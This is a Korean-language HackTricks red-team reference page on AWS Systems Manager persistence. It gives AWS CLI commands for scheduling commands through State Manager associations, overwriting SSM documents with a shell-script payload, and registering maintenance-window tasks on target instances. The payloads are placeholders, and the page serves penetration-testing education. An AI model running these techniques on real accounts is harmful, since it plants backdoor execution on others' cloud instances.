AWS - SSM Perssitence

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SSM

자세한 정보는 다음을 확인하세요:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

persistence를 위한 ssm:CreateAssociation 사용

권한 ssm:CreateAssociation 를 가진 attacker는 State Manager Association을 생성해 SSM이 관리하는 EC2 instances에서 commands를 자동 실행할 수 있습니다. 이러한 associations는 고정 interval로 실행되도록 설정할 수 있어, interactive sessions 없이 backdoor-like persistence에 적합합니다.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

이 persistence method는 EC2 instance가 Systems Manager에 의해 관리되고, SSM agent가 실행 중이며, attacker가 associations를 생성할 권한이 있는 한 동작합니다. interactive sessions나 명시적인 ssm:SendCommand permissions를 요구하지 않습니다. Important: --schedule-expression parameter(예: rate(30 minutes))는 AWS의 최소 30분 interval을 따라야 합니다. 즉시 또는 one-time execution의 경우 --schedule-expression을 완전히 생략하세요 — association은 생성 후 한 번 실행됩니다.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

**ssm:UpdateDocument**와 ssm:UpdateDocumentDefaultVersion permissions를 가진 attacker는 existing documents를 수정하여 privileges를 escalate할 수 있습니다. 이 방법은 해당 document 내에서 persistence를 가능하게도 합니다. 실제로는 attacker가 custom documents의 이름을 얻기 위해 **ssm:ListDocuments**도 필요하며, attacker가 existing document 안에 자신의 payload를 obfuscate하려는 경우 ssm:GetDocument 역시 필요합니다.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

기존 문서를 덮어쓸 수 있는 예시 문서입니다. 인보케이션 문제를 피하려면 문서 유형이 대상 문서의 유형과 일치하는지 확인해야 합니다. 아래 문서는 예를 들어 ssm:SendCommandssm:CreateAssociation 예시를 사용할 것입니다.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

**ssm:RegisterTaskWithMaintenanceWindow**와 ssm:RegisterTargetWithMaintenanceWindow 권한이 있는 공격자는 먼저 기존 maintenance window에 새 target을 등록한 다음, 새 task를 업데이트 등록하여 권한 상승을 할 수 있습니다. 이렇게 하면 기존 target에서 실행을 달성할 수 있지만, 새 target을 등록함으로써 다른 role을 가진 compute를 compromise할 수도 있습니다. 또한 maintenance window task는 window 생성 시 정의된 interval에 따라 실행되므로 persistence도 가능합니다. 실제로 공격자는 maintenance window ID를 얻기 위해 **ssm:DescribeMaintenanceWindows**도 필요합니다.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기